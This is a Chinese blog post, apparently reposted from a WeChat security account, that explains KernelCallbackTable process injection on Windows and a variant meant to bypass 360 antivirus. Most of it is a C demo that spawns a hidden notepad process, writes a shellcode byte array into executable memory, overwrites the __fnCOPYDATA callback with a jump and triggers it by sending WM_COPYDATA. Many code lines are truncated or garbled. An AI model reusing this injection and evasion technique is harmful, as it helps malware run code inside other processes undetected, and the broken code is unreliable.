背景知识
众所周知,xp以后的系统,ring3进ring0的方法是通过系统快速调用也就是sysenter/sysexit或syscall/sysret实现的,而与之类似的,NT 4.0开始,微软将之前纯ring3实现的图形部分的大部分接口整理移植到了Win32k.sys这个知名屎山之中,但是由于仍然有部分组件功能保留在ring3,所以需要一个ring0调用ring3的方法。
NTSTATUS KeUserModeCallback (
IN ULONG ApiNumber,
IN PVOID InputBuffer,
IN ULONG InputLength,
OUT PVOID *OutputBuffer,
IN PULONG OutputLength
);
所以ntoskrnl.exe导出了如上的函数,其处理堆栈并将执行传递到ntdll.KiUserCallbackDispatcher函数,然后再根据调度表转发至ring3的回调中,最后通过NtCallbackReturn或者KiCallbackReturn(INT 2D)回到ring0。
今天文章里一个最核心用到的就是这个调度表,也就是KERNELCALLBACKTABLE。在User32.dll的入口user32!UserClientDllInitialize处,会初始化这个结构,并将这个结构保存在进程的PEB中。
注入
这个方法在外挂行业以及使用了很多年,首次应用于恶意软件方向大概是FinFisher的攻击中,其后odzhan公开了他制作的poc,在此之后,这个注入方法就越来越常见了。
简单的测试后可以发现,360会拦截这个注入方法,确切地说是拦截了PEB中KernelCallbackTable的修改。可以说,这种拦截不痛不痒,是很好绕过的。
比较简单的办法就是直接将修改peb中KernelCallbackTable,改为获取现有KernelCallbackTable中某一回调地址,直接覆盖修改该地址内存即可,如果设计为spawn则无需恢复,想要inject就提取读取原内存进行备份和修复即可
代码
修改过于简单,就直接放代码吧,应该很好理解。此处仅展示x64下使用牺牲进程加载shellcode的demo
#include <Windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
UNICODE_STRING;
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
ULONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnPOWERBROADCAST;
ULONG_PTR __fnINLPUAHDRAWMENU;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
KERNELCALLBACKTABLE;
typedef struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages : 1; //0x3
UCHAR IsProtectedProcess : 1; //0x3
UCHAR IsImageDynamicallyRelocated : 1; //0x3
UCHAR SkipPatchingUser32Forwarders : 1; //0x3
UCHAR IsPackagedProcess : 1; //0x3
UCHAR IsAppContainer : 1; //0x3
UCHAR IsProtectedProcessLight : 1; //0x3
UCHAR IsLongPathAwareProcess : 1; //0x3
};
};
UCHAR Padding0[4]; //0x4
Mutant; //0x8
ImageBaseAddress; //0x10
struct _PEB_LDR_DATA* Ldr; //0x18
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20
SubSystemData; //0x28
ProcessHeap; //0x30
struct _RTL_CRITICAL_SECTION* FastPebLock; //0x38
union _SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
IFEOKey; //0x48
union
{
ULONG CrossProcessFlags; //0x50
struct
{
ULONG ProcessInJob : 1; //0x50
ULONG ProcessInitializing : 1; //0x50
ULONG ProcessUsingVEH : 1; //0x50
ULONG ProcessUsingVCH : 1; //0x50
ULONG ProcessUsingFTH : 1; //0x50
ULONG ProcessPreviouslyThrottled : 1; //0x50
ULONG ProcessCurrentlyThrottled : 1; //0x50
ULONG ProcessImagesHotPatched : 1; //0x50
ULONG ReservedBits0 : 24; //0x50
};
};
UCHAR Padding1[4]; //0x54
union
{
KernelCallbackTable; //0x58
UserSharedInfoPtr; //0x58
};
ULONG SystemReserved; //0x60
ULONG AtlThunkSListPtr32; //0x64
ApiSetMap; //0x68
ULONG TlsExpansionCounter; //0x70
UCHAR Padding2[4]; //0x74
TlsBitmap; //0x78
ULONG TlsBitmapBits[2]; //0x80
ReadOnlySharedMemoryBase; //0x88
SharedData; //0x90
ReadOnlyStaticServerData; //0x98
AnsiCodePageData; //0xa0
OemCodePageData; //0xa8
UnicodeCaseTableData; //0xb0
ULONG NumberOfProcessors; //0xb8
ULONG NtGlobalFlag; //0xbc
union _LARGE_INTEGER CriticalSectionTimeout; //0xc0
ULONGLONG HeapSegmentReserve; //0xc8
ULONGLONG HeapSegmentCommit; //0xd0
ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
ULONG NumberOfHeaps; //0xe8
ULONG MaximumNumberOfHeaps; //0xec
ProcessHeaps; //0xf0
GdiSharedHandleTable; //0xf8
ProcessStarterHelper; //0x100
ULONG GdiDCAttributeList; //0x108
UCHAR Padding3[4]; //0x10c
struct _RTL_CRITICAL_SECTION* LoaderLock; //0x110
ULONG OSMajorVersion; //0x118
ULONG OSMinorVersion; //0x11c
USHORT OSBuildNumber; //0x120
USHORT OSCSDVersion; //0x122
ULONG OSPlatformId; //0x124
ULONG ImageSubsystem; //0x128
ULONG ImageSubsystemMajorVersion; //0x12c
ULONG ImageSubsystemMinorVersion; //0x130
UCHAR Padding4[4]; //0x134
ULONGLONG ActiveProcessAffinityMask; //0x138
ULONG GdiHandleBuffer[60]; //0x140
//0x230
TlsExpansionBitmap; //0x238
ULONG TlsExpansionBitmapBits[32]; //0x240
ULONG SessionId; //0x2c0
UCHAR Padding5[4]; //0x2c4
union _ULARGE_INTEGER AppCompatFlags; //0x2c8
union _ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
pShimData; //0x2d8
AppCompatInfo; //0x2e0
struct _UNICODE_STRING CSDVersion; //0x2e8
struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
ULONGLONG MinimumStackCommit; //0x318
struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
struct _LIST_ENTRY FlsListHead; //0x328
FlsBitmap; //0x338
ULONG FlsBitmapBits[4]; //0x340
ULONG FlsHighIndex; //0x350
WerRegistrationData; //0x358
WerShipAssertPtr; //0x360
pUnused; //0x368
pImageHeaderHash; //0x370
union
{
ULONG TracingFlags; //0x378
struct
{
ULONG HeapTracingEnabled : 1; //0x378
ULONG CritSecTracingEnabled : 1; //0x378
ULONG LibLoaderTracingEnabled : 1; //0x378
ULONG SpareTracingBits : 29; //0x378
};
};
UCHAR Padding6[4]; //0x37c
ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
ULONGLONG TppWorkerpListLock; //0x388
struct _LIST_ENTRY TppWorkerpList; //0x390
WaitOnAddressHashTable[128]; //0x3a0
TelemetryCoverageHeader; //0x7a0
ULONG CloudFileFlags; //0x7a8
ULONG CloudFileDiagFlags; //0x7ac
CHAR PlaceholderCompatibilityMode; //0x7b0
CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
struct _LEAP_SECOND_DATA* LeapSecondData; //0x7b8
union
{
ULONG LeapSecondFlags; //0x7c0
struct
{
ULONG SixtySecondEnabled : 1; //0x7c0
ULONG Reserved : 31; //0x7c0
};
};
ULONG NtGlobalFlag2; //0x7c4
PEB, * PPEB;
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
PROCESS_BASIC_INFORMATION;
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessDebugPort = 7,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessBreakOnTermination = 29
PROCESSINFOCLASS, * PPROCESSINFOCLASS;
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
int main()
{
unsigned char payload[] = {
0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B,
0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE,
0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57,
0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48,
0xF7, 0x99, 0xFF, 0xD7
};
SIZE_T payloadSize = sizeof(payload);
PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(STARTUPINFO) };
COPYDATASTRUCT cds;
HWND hWindow;
DWORD pid;
HANDLE hProcess;
PROCESS_BASIC_INFORMATION pbi;
pNtQueryInformationProcess myNtQueryInformationProcess;
PEB peb;
KERNELCALLBACKTABLE kct;
LPVOID payloadAddr;
char jump[12] = " ";
char temphex[8] = " ";
WCHAR msg[] = L"Pwn";
STARTF_USESHOWWINDOW; =
SW_HIDE; =
\Windows\System32\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); :
1000);
hWindow = FindWindow(L"Notepad", NULL);
&pid);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
peb.KernelCallbackTable, &kct, sizeof(kct), NULL);
payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
payloadAddr, payload, payloadSize, NULL);
0x48; =
0xB8; =
__int64*)temphex = (unsigned __int64)payloadAddr;
temphex[0]; =
temphex[1]; =
temphex[2]; =
temphex[3]; =
temphex[4]; =
temphex[5]; =
temphex[6]; =
temphex[7]; =
0xFF; =
0xE0; =
kct.__fnCOPYDATA, jump, sizeof(jump), NULL);
1; =
lstrlen(msg) * 2; =
msg; =
WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);
}
注意事项
仅适用于GUI程序,更准确的说是加载了User32.dll的进程
如果想注入现有进程,记得使用后恢复原样
wow64的情况PEB需要特殊处理
原文始发于微信公众号(None安全团队):KernelCallbackTable注入方法的修改方案
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论